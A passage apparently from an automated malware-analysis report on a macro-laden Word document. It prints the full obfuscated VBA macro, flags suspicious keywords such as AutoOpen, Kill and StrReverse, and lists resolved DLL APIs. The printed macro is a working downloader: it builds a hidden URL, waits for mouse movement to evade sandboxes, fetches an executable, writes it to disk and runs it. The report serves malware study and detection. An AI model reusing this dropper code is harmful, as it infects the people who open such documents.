\"obviouscontainjohnnycitysearchpermanentftp\", \"singaporeformaltitaniumattemptingnuttensympathyhintbedford\", \"biologyvbulletinthanksriceuscarmstrongmodel\", \"deercorporatehorsebubbleinterfaceegguserild\", \"coupledactivationyoungzshopssomeonequesteventmarie\", \"highestinsulationoccupationalcreatureslouiscoinsfeels\", \"answeredaskseldersoapuzzle\")\nchangingperiodroutehopes = changingperiodroutehopes + StrReverse(\"sno\")\nmessengerbowlinglistedaptcadillacalbanyknife = 631 Mod 446\nofferingsraiselooksmartharpervictims = 7716\nchangingperiodroutehopes = changingperiodroutehopes + StrReverse(\"tcurt\")\ngarminhongbelizeshirts = Not (537 > 204)\ninfantsdreamsrenewalresultsscannersbingoneighbor = LTrim(\"wyomingprocessespaboatsnightjudge\")\nchangingperiodroutehopes = changingperiodroutehopes + StrReverse(\"gnoi\")\nDim worthyseekheadercatchsupremescripting As Variant\n'pjsearchesdontpropecia\nchangingperiodroutehopes = changingperiodroutehopes + Mid(\"commissionsplentybreastgpsformatooramsstaysremainingbarbaramxyarn\", 35, 4)\nenlargeguineafearbatmanoildigesttestedstationcarol = Not (708 < 349)\nDim breakdowndicemerchantsneededcorpusjulianstruck As Variant\nlightboxshanghaiacmtourismallied = \"\"\nlightboxshanghaiacmtourismallied = lightboxshanghaiacmtourismallied + StrReverse(\"tth\")\ngreatlyprivilegerjweatherutilsliechtensteincrossingfavouritesporter = Not (893 < 888)\n'pricepicturesawardsrobotdispositionfilingbutteruniversityobituaries\nlightboxshanghaiacmtourismallied = lightboxshanghaiacmtourismallied + Mid(\"onlinetreearrivesuicidecaseyhungerlowerrestructuringps:participatedmeritsmithsonianinfectedbluetoothxi\", 53, 3)\nFor manufacturingfarmerbringingdeluxedolls = 3527 To 6168\nDim participatingroutinewadonnaana As Integer\nDim reservesthinkinggreatermassclassroomwear As Object\nNext manufacturingfarmerbringingdeluxedolls\nDim hugeguatemalachemicalslecturehlnegotiationmidcame() As Byte\nlightboxshanghaiacmtourismallied = lightboxshanghaiacmtourismallied + Mid(\"printerdpisponsornhlssldslshootingmariokansas//thecareyjenniferpluginstatisticalrealchooseremove\", 46, 5)\nDim equationhafingerspayingswordrrmentionedonline() As Byte\nDim clickspastabetweencharacterizationfrsslformerlyshakespearewhygg As String\nlightboxshanghaiacmtourismallied = lightboxshanghaiacmtourismallied + StrReverse(\"rae.\")\nholdingscheduledservicesstreaming = StrReverse(\"guardianensuresvarywebsitesidenticalslutscleaningcrystalchargedworkers\")\nRem saycatalogueashacknowledgepc\nlightboxshanghaiacmtourismallied = lightboxshanghaiacmtourismallied + StrReverse(\"l.ht\")\nkenosingaporemargaretzoomrealized = Chr(137)\nDim paidpreciseolympicawarepmcsurprisingactively As Boolean\nlightboxshanghaiacmtourismallied = lightboxshanghaiacmtourismallied + StrReverse(\"s~/i\")\nFor transmittedswingersdisappointedloanscourses = 1578 To 5135\nansystematicmoodconsistency = 587 Mod 847\nDim brunetteproperadatrackingreceivepresented As Object\nNext transmittedswingersdisappointedloanscourses\nlectureformguidelinesdeliciousfinancialhangingwaters = StrReverse(\"errormachineimplementedbiographynativeset\")\nlightboxshanghaiacmtourismallied = lightboxshanghaiacmtourismallied + Mid(\"eddieianmanagementshakespearetmpgtasugarsawsagemrrduncanknew\", 33, 3)\noccupiedpricingcompoundcircumstancesouterprofessiontoughenjoyingsubjective = Space(17)\n'blanketfundraisingcharliesimpsonaugustsavannahadoptedcommhouston\nlightboxshanghaiacmtourismallied = lightboxshanghaiacmtourismallied + StrReverse(\"/maht\")\nhamptonwholedownloadingfallkerry = Not (283 > 834)\nneuralhencesponsorshipforumsagriculturalitalianocoffee = Chr(116)\nlightboxshanghaiacmtourismallied = lightboxshanghaiacmtourismallied + Mid(\"detectedgiveshandheldprinterpollputtytravelerhandjobconsolidationaluminiumcoupleenrollmentbloggerstripleanybody\", 33, 5)\ncomplicationsdbhourlynotifications = Space(4)\nFor webpagefootagetrmeetsappropriationsoperatorhistvillameta = 1510 To 4642\nreproductiveaddressflasherskdeconstitutemuslimtaggedcornspeechroad = Space(46)\n'developmentalcumshotjoelcoat\nNext webpagefootagetrmeetsappropriationsoperatorhistvillameta\nlightboxshanghaiacmtourismallied = lightboxshanghaiacmtourismallied + Mid(\"dropsconsultancymayshortcutspremierrosapennyremainsmentorbradley/latefficientcharlottecoupleddallas\", 65, 4)\nFor reflectsprecedingcommentaryquotesbeach = 3807 To 2705\nrallyslightbidconflictsdiabetesbound = 2563\nDim frequentlyswitchingchoicestraditions As Object\nNext reflectsprecedingcommentaryquotesbeach\nDim shepherdlargerhabitatbridgesarthurfunctionality() As Byte\nlightboxshanghaiacmtourismallied = lightboxshanghaiacmtourismallied + Mid(\"boasbestosshadeanyest/wbizratenbtakesmid\", 19, 5)\ntellingcalledcornellplatinumqueensfactsmedicines = Not (845 < 386)\ngenetictimeunixisraelienquiryargue = Space(95)\nlightboxshanghaiacmtourismallied = lightboxshanghaiacmtourismallied + Mid(\"containersreceivessmilerapidly32/phungsecuritiesbasenamebuildingskenny\", 31, 4)\ndanstulsaambientagreescontrollingclearancemilftuesdaydownloadable = StrReverse(\"vesselasushatdakotamorrisyieldsefficientlyeasesenator\")\n'commandsforecastskuwaitgrillrangerssouthdamtalkedharvard\nlightboxshanghaiacmtourismallied = lightboxshanghaiacmtourismallied + StrReverse(\".yttu\")\nremovingpursueatommexicanbeattony = LTrim(\"diversityjournalistsstakeholdersenabling\")\nresidentseasierwinscopyrightsusbfijiunlimitedwattweirdsomalia = Space(41)\nlightboxshanghaiacmtourismallied = lightboxshanghaiacmtourismallied + StrReverse(\"exe\")\nDim sonusergcheersperformed() As Byte\nbrotheruntildeviationthreateningcosdentaladidas = LTrim(\"waterreceptiondianaassignmentbidsviolent\")\nbenchmovementsmodempointchefbeverageuserrdenatlantaopponentsconstitute = \"\"\nbenchmovementsmodempointchefbeverageuserrdenatlantaopponentsconstitute = benchmovementsmodempointchefbeverageuserrdenatlantaopponentsconstitute + Mid(\"fingerqualitiestraderfilterpatchcornersallegedusconvertedtechrepublicGETenhancementpicwnmicrosoftnuttranssexualartisticsheriff\", 70, 3)\ncircuitnecessaryencodingscholarshipmasterindirectbritain = 642 Mod 675\nDim syntaxallegedhandlinginvitedassociatepharmaceuticalszdnet() As Byte\nsyntheticalgeriatransmittedoccasionalfronttee = \"\"\nsyntheticalgeriatransmittedoccasionalfronttee = syntheticalgeriatransmittedoccasionalfronttee + Mid(\"lauradocumentchanneldickekuwaitqcattackrestrictfistingfatalarkansasretentionbloombergmetricabortionmercedesurbanprince\", 55, 5)\nellenherballoadadam = 548 Mod 811\nFor shinewitchenhancementmakelackconstitutionadventuresheavenperception = 5566 To 9978\n'amountswannaprovedclerkcomputingcertificate\n'samoaconsenttradechargingpayroll\nNext shinewitchenhancementmakelackconstitutionadventuresheavenperception\nsyntheticalgeriatransmittedoccasionalfronttee = syntheticalgeriatransmittedoccasionalfronttee + StrReverse(\"tegev\")\nbasketsgamempgforming = 119 Xor 126\nattractionsservingcsstomatopicturesangledamagedperth = Space(57)\nsyntheticalgeriatransmittedoccasionalfronttee = syntheticalgeriatransmittedoccasionalfronttee + StrReverse(\"selba\")\nDim codecapitolworstfalsedoverviewpictureguaranteesmajorityshorts As Object\nDim affectcosmeticensurecomparisons As Integer\nsyntheticalgeriatransmittedoccasionalfronttee = syntheticalgeriatransmittedoccasionalfronttee + Mid(\"characterizedratesmatchgeniusalldivinestylesjackbosncontextvoyuerloggedinclusionmsgstrproxy\", 49, 4)\nDim privilegeappointedkerryjewelrybubbleapartextheard As String\nlaunchedmarblepaypalhelpfulsterlingperformeddesignerrecyclingsomewhatcancellation = RTrim(\"preventioninvolvetaxvocalpioneercontributionspermitscommunistdts\")\nsyntheticalgeriatransmittedoccasionalfronttee = syntheticalgeriatransmittedoccasionalfronttee + Mid(\"integeroxidedonateprospectworldsexiamaksonicnamelyexteriorachieve\", 35, 5)\nDim williamputtingdickcoachianewslettersbackupeducationaldavidsoncontemporary As String\nDim nashvilleustestamentfathericonstoragelensgovernmentaldontkirk As Integer\nsyntheticalgeriatransmittedoccasionalfronttee = syntheticalgeriatransmittedoccasionalfronttee + StrReverse(\"rtgni\")\nFor materialstargetimpressionforces = 9803 To 5067\npacestevecoveragetelephonestopiftgp = RTrim(\"lightningfreightclerkpolyestergossipscareddetectoralbania\")\nrainoperationclarasavannahchansuspensionteensfactorsshermanexact = Not (788 < 960)\nNext materialstargetimpressionforces\nFor toddtransferredswmosslyricsdealtfw = 9045 To 7281\nterrorismadjusteddonorspig = LTrim(\"robustinteriororiginrfleglandsfaith\")\ncavesurveillanceindustrialviagranonesymbols = Array(\"meyerincddrwatershedregimenpbuysmuchbusty\", \"muslimspacukbennettseekers\", \"downcompetingtemperatureauthenticationaaa\", \"recordingfallsmadestudyingmarsservicesmozillanycsubject\", \"smokehousingbdcodechequemarblepolishscientistshiltonproblems\", \"clvesselsairlinesdirtsquaremiddetroitaccountingafternoon\", \"beddingappearingcareerscommittedcoordinateconsciousnessdurationirrigationpotter\", \"anybowldependingrespondedcambridgeearlierentertainmentcassettevenicetract\", \"zonespollutiondetectedsafe\", \"termbrightondisorderssynthetic\", \"cornerroughunauthorizedbgfrancisbikeexchangemuscleidentifypara\")\nNext toddtransferredswmosslyricsdealtfw\nsyntheticalgeriatransmittedoccasionalfronttee = syntheticalgeriatransmittedoccasionalfronttee + StrReverse(\"meda\")\nrevadmincustomisemarketfocusingappearedfederationproceedingqtyinfrared = LTrim(\"brutaldealtimemfproceduresinterfaceshelenadministered\")\n'similarlyintlcroppilotspacedevelopedformqueens\nsyntheticalgeriatransmittedoccasionalfronttee = syntheticalgeriatransmittedoccasionalfronttee + StrReverse(\"kra\")\nfavoritetarportionautomobilenegotiationvitaminstribute = Array(\"soapatmospherepostpostedcherry\", \"wornusbteachingsustainedfilenamebeautifullyversusfifteenexplosionhumanity\", \"olcasualhierarchytwentyexcludehalifaxtoshibamadagascaremphasis\", \"sparehandlemarijuanalexingtonstoodcache\", \"zucarloscustomertell\", \"literacyaskingeaglenewlypressingwaltdeservechristians\")\nRem charitableconnectiongaysghostshared\ncompletionhiltonadvisedapplianceovalmodulestypical = \"\"\ncompletionhiltonadvisedapplianceovalmodulestypical = completionhiltonadvisedapplianceovalmodulestypical + Mid(\"undertakenhearingshealthylolitaflooringelectronicMicroqueriesfarminghuntingtonhobbiesexamining\", 50, 5)\nsunshineprovenbooksswapchemicalsdistributorstrainmedlinepropositionwebcams = Not (1019 < 401)\nretainsonsinsulindestructionbloggers = 8556\ncompletionhiltonadvisedapplianceovalmodulestypical = completionhiltonadvisedapplianceovalmodulestypical + Mid(\"fredbarrelphantomdefectsaccordancefastestjackkatesoft.virginiahelpannouncementchestorganizeexpoestimation\", 50, 5)\nadultsspotshockgreekpeers = 3512\n'fetishphysiologyinsmouth\ncompletionhiltonadvisedapplianceovalmodulestypical = completionhiltonadvisedapplianceovalmodulestypical + StrReverse(\"LMX\")\nDim absencelearningconnectoracnetroublebreathblame As Object\nDim transformationpenaltiesmodellingdutylatinhumormachinerycopyrights As Variant\ncompletionhiltonadvisedapplianceovalmodulestypical = completionhiltonadvisedapplianceovalmodulestypical + StrReverse(\"PTTH\")\nrosesmeyerfilteroclc = Not (462 > 535)\nFor fluidjpgbrooksfloristcarolgeneratedestatestukeeping = 8510 To 2789\nmanagedbeautifulnvidiaangelsalariesexceptionalfeverequippedadvantage = Array(\"willchristmaswarmsegmentshammerdanishhrugsfingerhandhelds\", \"gymbiologycareeressentialscandylessyounger\", \"bloggershatsscoremailed\", \"managermetalliccheapestmasturbatingmotordiscussinsuranceapparel\", \"publicationsheatercampdialogue\", \"tripadvisorlatexcerptmaplethunderciconjunctionpmcdomestic\", \"strkeywordstraumaantiquesgalleriesshoreballethamiltonbidding\", \"seeingplannertwikiefficientoperatorscontainteenagesundayindian\", \"propertyhundredshoulderinvolvesclubs\")\nimportssupervisioncruisesentitledfolloweditiontrafficrwloranks = Not (894 < 280)\nNext fluidjpgbrooksfloristcarolgeneratedestatestukeeping\nfighterssixgotofingeringvelocityeithernicolesatcovering = Chr(209)\ncellseeksidecollegevilla = Space(97)\nDim dHyedsQ As String\ndHyedsQ = oeGlAa.puvwkN\nDim xtxsBiA As String\nSet objHTTP = CreateObject(\"WinHttp.WinHttpRequest.5.1\")\nobjHTTP.Open \"GET\", oeGlAa.puvwkN.Tag, False\nobjHTTP.send (\"\")\nxtxsBiA = objHTTP.responseText\n\noeGlAa.gJviGHz (xtxsBiA)\nEnd Sub"
  2925. ]
  2926. ],
  2927. "Macro1": [
  2928. [
  2929. "oeGlAa.frm",
  2930. "Function gJviGHz(ByVal xsXnzhB As String)\nDim auVWGWj As Integer\nauVWGWj = 0\nDim iyposEY As mAMxXtH\nDim dloeRTJ As mAMxXtH\n\nWhile auVWGWj <= 3\nGetCursorPos iyposEY\nIf dloeRTJ.jdFtJhQ = 0 Then\ndloeRTJ = iyposEY\nEnd If\nauVWGWj = auVWGWj + 1\nSleep 1000\nWend\nIf dloeRTJ.jdFtJhQ <> iyposEY.jdFtJhQ Then\nDim dDisZgD As Object, umLYsgF As Long, xoIhywM() As Byte\nDim bqfqFNu: Set bqfqFNu = jUYirTK(puvwkN.Value)\nzeaOKTm = kHAErx.Tag\nSet dDisZgD = jUYirTK(kHAErx.Value)\ndDisZgD.Open \"GET\", xsXnzhB, False\ndDisZgD.send\nDo While dDisZgD.readyState <> 4\nDoEvents\nLoop\nxoIhywM = dDisZgD.responseBody\numLYsgF = FreeFile\nDim loiTtSa As String\nloiTtSa = \"\"\nIf Dir(zeaOKTm) <> \"\" Then Kill zeaOKTm\nloiTtSa = \"plit\"\nOpen zeaOKTm For Binary As #umLYsgF\nPut #umLYsgF, , xoIhywM\nClose #umLYsgF\nIf loiTtSa <> \"\" Then\nCreateObject(hzmTpT.Tag).Open zeaOKTm\nEnd If\nEnd If\nEnd Function\n\n"
  2931. ]
  2932. ]
  2933. },
  2934. "Analysis": {
  2935. "Suspicious": [
  2936. [
  2937. "Kill",
  2938. "May delete a file"
  2939. ],
  2940. [
  2941. "Open",
  2942. "May open a file"
  2943. ],
  2944. [
  2945. "Binary",
  2946. "May read or write a binary file (if combined with Open)"
  2947. ],
  2948. [
  2949. "CreateObject",
  2950. "May create an OLE object"
  2951. ],
  2952. [
  2953. "Put",
  2954. "May write to a file (if combined with Open)"
  2955. ],
  2956. [
  2957. "Open",
  2958. "May open a file"
  2959. ],
  2960. [
  2961. "CreateObject",
  2962. "May create an OLE object"
  2963. ],
  2964. [
  2965. "Chr",
  2966. "May attempt to obfuscate specific strings"
  2967. ],
  2968. [
  2969. "StrReverse",
  2970. "May attempt to obfuscate specific strings"
  2971. ],
  2972. [
  2973. "Xor",
  2974. "May attempt to obfuscate specific strings"
  2975. ],
  2976. [
  2977. "Lib",
  2978. "May run code from a DLL"
  2979. ]
  2980. ],
  2981. "AutoExec": [
  2982. [
  2983. "AutoOpen",
  2984. "Runs when the Word document is opened"
  2985. ]
  2986. ]
  2987. }
  2988. },
  2989. "Metadata": {
  2990. "HasMacros": "Yes"
  2991. }
  2992. }
  2993. }
  2994.  
  2995. [*] Resolved APIs: [
  2996. "mso.dll.#1443",
  2997. "mso.dll.#9214",
  2998. "mso.dll.#199",
  2999. "mso.dll.#1073",
  3000. "mso.dll.#4255",
  3001. "mso.dll.#3459",
  3002. "mso.dll.#4973",
  3003. "recovr32.cnv.RegisterApp",
  3004. "recovr32.cnv.CchFetchLpszError",
  3005. "recovr32.cnv.IsFormatCorrect32",
  3006. "recovr32.cnv.FRegisterConverter",
  3007. "recovr32.cnv.ForeignToRtf32",
  3008. "recovr32.cnv.GetReadNames",
  3009. "recovr32.cnv.GetWriteNames",
  3010. "recovr32.cnv.UninitConverter",
  3011. "recovr32.cnv.InitConverter32",
  3012. "user32.dll.UnhookWindowsHookEx",
  3013. "user32.dll.CharPrevA",
  3014. "msconv97.dll.FetchCoreDllVersion",
  3015. "msconv97.dll.DllMain",
  3016. "msconv97.dll.FInitDll",
  3017. "msconv97.dll.FInitHeaps",
  3018. "msconv97.dll.UninitHeaps",
  3019. "msconv97.dll.FreeH",
  3020. "msconv97.dll.PvLockH",
  3021. "msconv97.dll.UnlockH",
  3022. "msconv97.dll.FReallocH",
  3023. "msconv97.dll.FReallocHLcb",
  3024. "msconv97.dll.CbOfH",
  3025. "msconv97.dll.FreeHq",
  3026. "msconv97.dll.LpvLockHq",
  3027. "msconv97.dll.UnlockHq",
  3028. "msconv97.dll.FReallocHq",
  3029. "msconv97.dll.LcbOfHq",
  3030. "msconv97.dll.FreeLpv",
  3031. "msconv97.dll.HqAllocLcbCore",
  3032. "msconv97.dll.HAllocCbCore",
  3033. "msconv97.dll.HAllocLcbCore",
  3034. "msconv97.dll.LpvAllocLcbCore",
  3035. "msconv97.dll.ICmpLrgb",
  3036. "msconv97.dll.FillLrgw",
  3037. "msconv97.dll.FillLrgwCw",
  3038. "msconv97.dll.LpchBltLpszCch",
  3039. "msconv97.dll.LpchMacBltLpszCch",
  3040. "msconv97.dll.LpxchBltLpxsz",
  3041. "msconv97.dll.LpxchBltLpxszCch",
  3042. "msconv97.dll.LpszBltLpszCch",
  3043. "msconv97.dll.LpszBltLpszCchMax",
  3044. "msconv97.dll.ICmpLpsz",
  3045. "msconv97.dll.ICmpiLpsz",
  3046. "msconv97.dll.ICmpLpszCch",
  3047. "msconv97.dll.ICmpiLpszCch",
  3048. "msconv97.dll.ICmpLpxsz",
  3049. "msconv97.dll.ICmpLpxszCch",
  3050. "msconv97.dll.LpchFindLpszCh",
  3051. "msconv97.dll.LpchFindLpszSbch",
  3052. "msconv97.dll.PxchFindXch",
  3053. "msconv97.dll.LpchFindLastLpszCh",
  3054. "msconv97.dll.LpchFindLastLpszSbch",
  3055. "msconv97.dll.LpchFindChCch",
  3056. "msconv97.dll.LpchFindLpsz",
  3057. "msconv97.dll.LpchFindLpszNc",
  3058. "msconv97.dll.IchFindMemberLpsz",
  3059. "msconv97.dll.PchSkipSpacesPch",
  3060. "msconv97.dll.LpxchFindLpxszNc",
  3061. "msconv97.dll.LpszCatLpszCch",
  3062. "msconv97.dll.IFromPch",
  3063. "msconv97.dll.UchFromPchHexCore",
  3064. "msconv97.dll.UchFromPchHex",
  3065. "msconv97.dll.LpbFromRgbHex",
  3066. "msconv97.dll.RgbHexFromLpb",
  3067. "msconv97.dll.LpszFromUlong",
  3068. "msconv97.dll.LpszFromLong",
  3069. "msconv97.dll.SzAllocFromPxch",
  3070. "msconv97.dll.XszAllocFromPch",
  3071. "msconv97.dll.XchLowerXch",
  3072. "msconv97.dll.XchUpperXch",
  3073. "msconv97.dll.XszUpperXsz",
  3074. "msconv97.dll.XszLowerXsz",
  3075. "msconv97.dll.LpxszFromLpsz",
  3076. "msconv97.dll.LpszFromLpxsz",
  3077. "msconv97.dll.LpszUpperLpsz",
  3078. "msconv97.dll.LpszLowerLpsz",
  3079. "msconv97.dll.CchStripSz",
  3080. "msconv97.dll.CchFormatDisplayPathSz",
  3081. "msconv97.dll.CbSzz",
  3082. "msconv97.dll.LpszInSzz",
  3083. "msconv97.dll.SzzFromSoz",
  3084. "msconv97.dll.HxLoadRes",
  3085. "msconv97.dll.UnloadResHx",
  3086. "msconv97.dll.LpchBltLpszHx",
  3087. "msconv97.dll.HxBltHxLpsz",
  3088. "msconv97.dll.CtOfDbcsLpch",
  3089. "msconv97.dll.FUCS4ToSurrogatePair",
  3090. "msconv97.dll.FSurrogatePairToUCS4",
  3091. "msconv97.dll.HqCloneHq",
  3092. "msconv97.dll.HxCloneHx",
  3093. "msconv97.dll.PjbNextExc",
  3094. "msconv97.dll.PauseExceptions",
  3095. "msconv97.dll.PopExc",
  3096. "msconv97.dll.ResumeExceptions",
  3097. "msconv97.dll.InitExceptions",
  3098. "msconv97.dll.ThrowExcFce",
  3099. "msconv97.dll.FHandlerInstalled",
  3100. "msconv97.dll.HplAllocProc",
  3101. "msconv97.dll.HplCloneHplProc",
  3102. "msconv97.dll.CbHplFoo",
  3103. "msconv97.dll.FExpandHpl",
  3104. "msconv97.dll.ShrinkHpl",
  3105. "msconv97.dll.FEnsureHpl",
  3106. "msconv97.dll.FNeHpl",
  3107. "msconv97.dll.DeleteFromHpl",
  3108. "msconv97.dll.FreeHpl",
  3109. "msconv97.dll.LpInHpl",
  3110. "msconv97.dll.HpInHpl",
  3111. "msconv97.dll.PutPInHpl",
  3112. "msconv97.dll.IMacFromHpl",
  3113. "msconv97.dll.FillLpFromHpl",
  3114. "msconv97.dll.FInsertInHplCore",
  3115. "msconv97.dll.WriteHqFn",
  3116. "msconv97.dll.FReadFnPhq",
  3117. "msconv97.dll.WriteHplFn",
  3118. "msconv97.dll.FReadFnPhpl",
  3119. "msconv97.dll.FInitConvIO",
  3120. "msconv97.dll.DirSet",
  3121. "msconv97.dll.FGetDir",
  3122. "msconv97.dll.FFilespecFromDirSz",
  3123. "msconv97.dll.FFullPath",
  3124. "msconv97.dll.FFullPathEx",
  3125. "msconv97.dll.FnOpenFh",
  3126. "msconv97.dll.FhFromFn",
  3127. "msconv97.dll.FIsDocfileFn",
  3128. "msconv97.dll.FnOpenStm",
  3129. "msconv97.dll.StmFromFn",
  3130. "msconv97.dll.StgRootFromFn",
  3131. "msconv97.dll.FnOpenStmPstg",
  3132. "msconv97.dll.StdFlushMemory",
  3133. "msconv97.dll.UninitConvIO",
  3134. "msconv97.dll.FnOpen",
  3135. "msconv97.dll.FnOpenMemory",
  3136. "msconv97.dll.FCloseFn",
  3137. "msconv97.dll.CbReadFn",
  3138. "msconv97.dll.CbWriteFn",
  3139. "msconv97.dll.FcCurrFn",
  3140. "msconv97.dll.FcMaxFn",
  3141. "msconv97.dll.FcSeekFn",
  3142. "msconv97.dll.FcTruncateFn",
  3143. "msconv97.dll.FBltFn",
  3144. "msconv97.dll.FCmpFn",
  3145. "msconv97.dll.FIsOpenFn",
  3146. "msconv97.dll.FCloseAllFiles",
  3147. "msconv97.dll.FDeleteFn",
  3148. "msconv97.dll.FCloseAndDeleteFn",
  3149. "msconv97.dll.FRenameFn",
  3150. "msconv97.dll.FCloseAndRenameFn",
  3151. "msconv97.dll.FeGetError",
  3152. "msconv97.dll.SyncFn",
  3153. "msconv97.dll.FFhFromFn",
  3154. "msconv97.dll.LcbFillRtfBuffer",
  3155. "msconv97.dll.NFetchPercentComplete",
  3156. "msconv97.dll.GetCbFcPch",
  3157. "msconv97.dll.FEnsureOleAvail",
  3158. "msconv97.dll.UnensureOleAvail",
  3159. "msconv97.dll.FOpenRootStorage",
  3160. "msconv97.dll.FOpenStorage",
  3161. "msconv97.dll.FOpenStream",
  3162. "msconv97.dll.FOpenRootStorageXsz",
  3163. "msconv97.dll.FOpenStorageXsz",
  3164. "msconv97.dll.FOpenStreamXsz",
  3165. "msconv97.dll.FCloseStorage",
  3166. "msconv97.dll.FCloseStream",
  3167. "msconv97.dll.CbReadStm",
  3168. "msconv97.dll.CbWriteStm",
  3169. "msconv97.dll.FcSeekStm",
  3170. "msconv97.dll.FcMaxStm",
  3171. "msconv97.dll.FcSetMaxStm",
  3172. "msconv97.dll.FSpaceOn",
  3173. "msconv97.dll.SetSpace",
  3174. "msconv97.dll.FnOutCur",
  3175. "msconv97.dll.FnSetOutFn",
  3176. "msconv97.dll.OutIszRtf",
  3177. "msconv97.dll.OutIszRtfInt",
  3178. "msconv97.dll.OutInt",
  3179. "msconv97.dll.OutIszRtfUns",
  3180. "msconv97.dll.OutIszRtfLong",
  3181. "msconv97.dll.OutLong",
  3182. "msconv97.dll.OutNl",
  3183. "msconv97.dll.OutB",
  3184. "msconv97.dll.OutBHex",
  3185. "msconv97.dll.OutExtBHex",
  3186. "msconv97.dll.OutWx86",
  3187. "msconv97.dll.OutW68k",
  3188. "msconv97.dll.OutLx86",
  3189. "msconv97.dll.OutL68k",
  3190. "msconv97.dll.OutLpsz",
  3191. "msconv97.dll.OutRgb",
  3192. "msconv97.dll.OutRgbHex",
  3193. "msconv97.dll.OutFnFcLcbHex",
  3194. "msconv97.dll.OutBytes",
  3195. "msconv97.dll.OutEscLpsz",
  3196. "msconv97.dll.OutEscLrgb",
  3197. "msconv97.dll.OpenRtfGroup",
  3198. "msconv97.dll.CloseRtfGroup",
  3199. "msconv97.dll.DelimRtfGroup",
  3200. "msconv97.dll.OpenRtfDest",
  3201. "msconv97.dll.OutRtfUc",
  3202. "msconv97.dll.OutRtfXch",
  3203. "msconv97.dll.LcbFetchLpvFooPsd",
  3204. "msconv97.dll.LcbWriteLpvFooPsd",
  3205. "msconv97.dll.CopyLpvFooPsd",
  3206. "msconv97.dll.FreeLpvFooPsd",
  3207. "msconv97.dll.FApplyGrpprlPsdToLpv",
  3208. "msconv97.dll.SwapLpvFooPsd",
  3209. "msconv97.dll.HpdOpenProc",
  3210. "msconv97.dll.FCloseHpd",
  3211. "msconv97.dll.NFetchFromHpd",
  3212. "msconv97.dll.CchFetchLpszFromHpd",
  3213. "msconv97.dll.FWriteLpszToHpd",
  3214. "msconv97.dll.CbFetchLpbFromHpd",
  3215. "msconv97.dll.CbWriteLpbToHpd",
  3216. "msconv97.dll.FRegisterClsid",
  3217. "msconv97.dll.FRegisterOleFileType",
  3218. "msconv97.dll.FIsTrueLpsz",
  3219. "msconv97.dll.HpdOpenConverterKey",
  3220. "msconv97.dll.FRegisterPrefs",
  3221. "msconv97.dll.CbIntToPpch",
  3222. "msconv97.dll.CbUnsToPpch",
  3223. "msconv97.dll.CbLongToPpchR",
  3224. "msconv97.dll.CbULongToPpch",
  3225. "msconv97.dll.ByteToRtfHex",
  3226. "msconv97.dll.SetPercentComplete",
  3227. "msconv97.dll.SetImportPercentOptions",
  3228. "msconv97.dll.SetExportPercentOptions",
  3229. "msconv97.dll.NCalculateImportPercentComplete",
  3230. "msconv97.dll.NCalculateExportPercentComplete",
  3231. "msconv97.dll.FChIsUpperFromCopg",
  3232. "msconv97.dll.FChIsLowerFromCopg",
  3233. "msconv97.dll.ChUpperFromCopg",
  3234. "msconv97.dll.ChLowerFromCopg",
  3235. "msconv97.dll.FStrIEq",
  3236. "msconv97.dll.ShutdownProc",
  3237. "msconv97.dll.FSearchFntName",
  3238. "msconv97.dll.GetszFmrgszRtfFntName",
  3239. "msconv97.dll.LpszGetFmrgszRtfFntName",
  3240. "msconv97.dll.FNeedsStarIdx",
  3241. "msconv97.dll.FIsDestIszRtf",
  3242. "msconv97.dll.FIsSymbolIszRtf",
  3243. "msconv97.dll.CchFetchSzIszRtf",
  3244. "msconv97.dll.PchFromIszRtf",
  3245. "msconv97.dll.GetDateTimePul",
  3246. "msconv97.dll.GetDateTimePdt",
  3247. "msconv97.dll.IdMessageBoxExpandRcid",
  3248. "msconv97.dll.IdMessageBoxRcid",
  3249. "msconv97.dll.IdMessageBoxSzRcid",
  3250. "msconv97.dll.IdMessageBoxSz",
  3251. "msconv97.dll.FFindFile",
  3252. "msconv97.dll.DisableWindows",
  3253. "msconv97.dll.EnableWindows",
  3254. "msconv97.dll.IdDialogBox",
  3255. "msconv97.dll.FRequestFile",
  3256. "msconv97.dll.UninitDlgs",
  3257. "msconv97.dll.FInitFilters",
  3258. "msconv97.dll.SetFilterOption",
  3259. "msconv97.dll.FImportFilterCore",
  3260. "msconv97.dll.FExportFilterCore",
  3261. "msconv97.dll.FreeFdt",
  3262. "msconv97.dll.FltFromExtension",
  3263. "msconv97.dll.FltFromDtGrt",
  3264. "msconv97.dll.GrtFromDtTerminal",
  3265. "msconv97.dll.UninitFilters",
  3266. "msconv97.dll.CbStFromXst",
  3267. "msconv97.dll.StFromXst",
  3268. "msconv97.dll.SzFromXsz",
  3269. "msconv97.dll.MsoWideCharToMultiByte",
  3270. "msconv97.dll.MsoMultiByteToWideChar",
  3271. "msconv97.dll.MsoFsFromWch",
  3272. "msconv97.dll.CpgFromFsCpg",
  3273. "msconv97.dll.UnicodeToUTF8",
  3274. "msconv97.dll.UTF8ToUnicode",
  3275. "msconv97.dll.MsoXchToLower",
  3276. "msconv97.dll.MsoXchToLowerLid",
  3277. "msconv97.dll.MsoXchToUpper",
  3278. "msconv97.dll.MsoXchToUpperLid",
  3279. "msconv97.dll.MsoCpgFromChs",
  3280. "msconv97.dll.UsrFromXch",
  3281. "msconv97.dll.UsrAltFromUsrXchIdct",
  3282. "msconv97.dll.UsrBaseFromCpg",
  3283. "msconv97.dll.GetRWNames",
  3284. "msconv97.dll.FceCheckFormat",
  3285. "msconv97.dll.FceForeignToRtf",
  3286. "msconv97.dll.FceRtfToForeign",
  3287. "msconv97.dll.FRegisterConverterClasses",
  3288. "msconv97.dll.SendImportPercentComplete",
  3289. "msconv97.dll.SendExportPercentComplete",
  3290. "user32.dll.CharLowerA",
  3291. "recovr32.cnv.FFetchSzzClasses",
  3292. "user32.dll.LoadStringA",
  3293. "kernel32.dll.FlsAlloc",
  3294. "kernel32.dll.FlsGetValue",
  3295. "kernel32.dll.FlsSetValue",
  3296. "kernel32.dll.FlsFree",
  3297. "wkspxy.cnv.RegisterApp",
  3298. "wkspxy.cnv.IsFormatCorrect32",
  3299. "wkspxy.cnv.FRegisterConverter",
  3300. "wkspxy.cnv.ForeignToRtf32",
  3301. "wkspxy.cnv.RtfToForeign32",
  3302. "wkspxy.cnv.GetReadNames",
  3303. "wkspxy.cnv.GetWriteNames",
  3304. "wkspxy.cnv.UninitConverter",
  3305. "wkspxy.cnv.InitConverter32",
  3306. "wpft532.cnv.RegisterApp",
  3307. "wpft532.cnv.CchFetchLpszError",
  3308. "wpft532.cnv.IsFormatCorrect32",
  3309. "wpft532.cnv.FRegisterConverter",
  3310. "wpft532.cnv.ForeignToRtf32",
